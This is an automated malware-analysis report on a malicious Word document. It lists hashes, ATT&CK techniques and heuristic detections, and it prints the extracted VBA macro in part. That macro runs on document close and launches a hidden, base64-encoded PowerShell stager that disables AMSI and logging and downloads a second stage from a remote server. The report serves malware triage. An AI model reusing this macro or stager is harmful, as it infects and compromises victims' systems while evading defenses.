Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8786850e6fdbbd1e…

MALICIOUS

Office (OOXML)

20.1 KB Created: 2021-09-09 10:20:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2021-09-27
MD5: bb8bdfa7aa3ad7370030dac07564499f SHA-1: 83671f0209c816c45029f5ce95babb520213cb9d SHA-256: 8786850e6fdbbd1ecbb48ab16c97b3510b7a51c65e5d02f80a3ca128a2738433
442 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that utilize WScript.Shell to execute a PowerShell command. This command is heavily obfuscated but appears to download and execute a second-stage payload. The AutoClose macro is triggered upon document closure, initiating the malicious execution chain. The presence of PowerShell and WScript.Shell usage strongly indicates a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6103 bytes
SHA-256: 35c9298a437825920870fe72e0c573e00478cd011b8ba6c726dc61d2719c39c5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoClose()
    Cvdb
End Sub

Public Function Cvdb() As Variant
    Dim hSqU As String
    hSqU = "powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVg"
    hSqU = hSqU + "BFAFIAcwBpAG8AbgBUAEEAQgBMAGUALgBQAFMAVgBlAHIAcwBJ"
    hSqU = hSqU + "AE8ATgAuAE0AYQBqAG8AcgAgAC0AZwBFACAAMwApAHsAJABSAE"
    hSqU = hSqU + "UARgA9AFsAUgBFAGYAXQAuAEEAcwBzAEUATQBCAEwAWQAuAEcA"
    hSqU = hSqU + "RQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
    hSqU = hSqU + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBB"
    hSqU = hSqU + "AG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIAZQBGAC"
    hSqU = hSqU + "4ARwBlAHQARgBpAEUATABkACgAJwBhAG0AcwBpAEkAbgBpAHQA"
    hSqU = hSqU + "RgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbA"
    hSqU = hSqU + "BpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAEEATAB1"
    hSqU = hSqU + "AEUAKAAkAE4AdQBsAGwALAAkAFQAUgBVAEUAKQA7AFsAUwB5AH"
    hSqU = hSqU + "MAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYA"
    hSqU = hSqU + "ZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQ"
    hSqU = hSqU + "ByAF0ALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAG0AXwBl"
    hSqU = hSqU + "ACcAKwAnAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuACcAKwAnAF"
    hSqU = hSqU + "AAdQBiAGwAaQBjACwAJwArACcASQBuAHMAdABhAG4AYwBlACcA"
    hSqU = hSqU + "KQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcw"
    hSqU = hSqU + "BzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBz"
    hSqU = hSqU + "AHQAZQAnACsAJwBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAE"
    hSqU = hSqU + "EAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4A"
    hSqU = hSqU + "UABTAEUAJwArACcAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcg"
    hSqU = hSqU + "AnACkALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAGUAdAAn"
    hSqU = hSqU + "ACsAJwB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAH"
    hSqU = hSqU + "UAYgAnACsAJwBsAGkAYwAsAFMAJwArACcAdABhAHQAaQBjACcA"
    hSqU = hSqU + "KQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMA"
    hSqU = hSqU + "ApADsAfQA7AFsAUwB5AFMAVABlAG0ALgBOAGUAdAAuAFMARQBy"
    hSqU = hSqU + "AHYAaQBDAGUAUABvAEkATgB0AE0AQQBuAEEAZwBlAFIAXQA6AD"
    hSqU = hSqU + "oARQBYAHAAZQBjAHQAMQAwADAAQwBPAE4AdABJAG4AVQBlAD0A"
    hSqU = hSqU + "MAA7ACQANQA2ADYAPQBOAGUAVwAtAE8AYgBKAEUAYwB0ACAAUw"
    hSqU = hSqU + "BZAFMAVABlAG0ALgBOAEUAVAAuAFcARQBiAEMATABpAGUATgBU"
    hSqU = hSqU + "ADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAF"
    hSqU = hSqU + "cAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcA"
    hSqU = hSqU + "NgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdg"
    hSqU = hSqU + "A6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7"
    hSqU = hSqU + "ACQAcwBlAHIAPQAkACgAWwBUAGUAWABUAC4ARQBOAEMAbwBkAE"
    hSqU = hSqU + "kAbgBnAF0AOgA6AFUAbgBJAGMAbwBkAEUALgBHAEUAdABTAHQA"
    hSqU = hSqU + "UgBJAE4ARwAoAFsAQwBvAE4AdgBlAFIAVABdADoAOgBGAFIATw"
    hSqU = hSqU + "BtAEIAYQBzAEUANgA0AFMAVAByAEkATgBnACgAJwBhAEEAQgAw"
    hSqU = hSqU + "AEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAG"
    hSqU = hSqU + "sAQQBNAGcAQQB1AEEARABFAEEATgBnAEEANABBAEMANABBAE0A"
    hSqU = hSqU + "UQBBAHUAQQBEAEUAQQBNAEEAQQAwAEEARABvAEEATwBBAEEAdw"
    hSqU = hSqU + "BBAEQAZwBBAE0AQQBBAD0AJwApACkAKQA7ACQAdAA9ACcALwBs"
    hSqU = hSqU + "AG8AZwBpAG4ALwBwAHIAbwBjAGUAcwBzAC4AcABoAHAAJwA7AC"
    hSqU = hSqU + "QANQA2ADYALgBIAEUAQQBkAEUAUgBzAC4AQQBkAEQAKAAnAFUA"
    hSqU = hSqU + "cwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAA1ADYANg"
    hSqU = hSqU + "AuAFAAUgBPAFgAWQA9AFsAUwB5AFMAVABlAG0ALgBOAEUAdAAu"
    hSqU = hSqU + "AFcAZQBCAFIAZQBRAHUAZQBzAFQAXQA6ADoARABFAEYAQQB1AE"
    hSqU = hSqU + "wAdABXAGUAQgBQAFIATwBYAFkAOwAkADUANgA2AC4AUABSAG8A"
    hSqU = hSqU + "WAB5AC4AQwByAGUAZABlAE4AVABJAGEAbABzACAAPQAgAFsAUw"
    hSqU = hSqU + "B5AHMAdABlAG0ALgBOAEUAdAAuAEMAUgBlAEQAZQBuAHQASQBh"
    hSqU = hSqU + "AEwAQwBBAGMAaABFAF0AOgA6AEQARQBGAGEAdQBsAHQATgBlAF"
    hSqU = hSqU
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: b00ac4d98c530f65eced67b22dfe52ce5fb096879fe357defff8352b1354210e
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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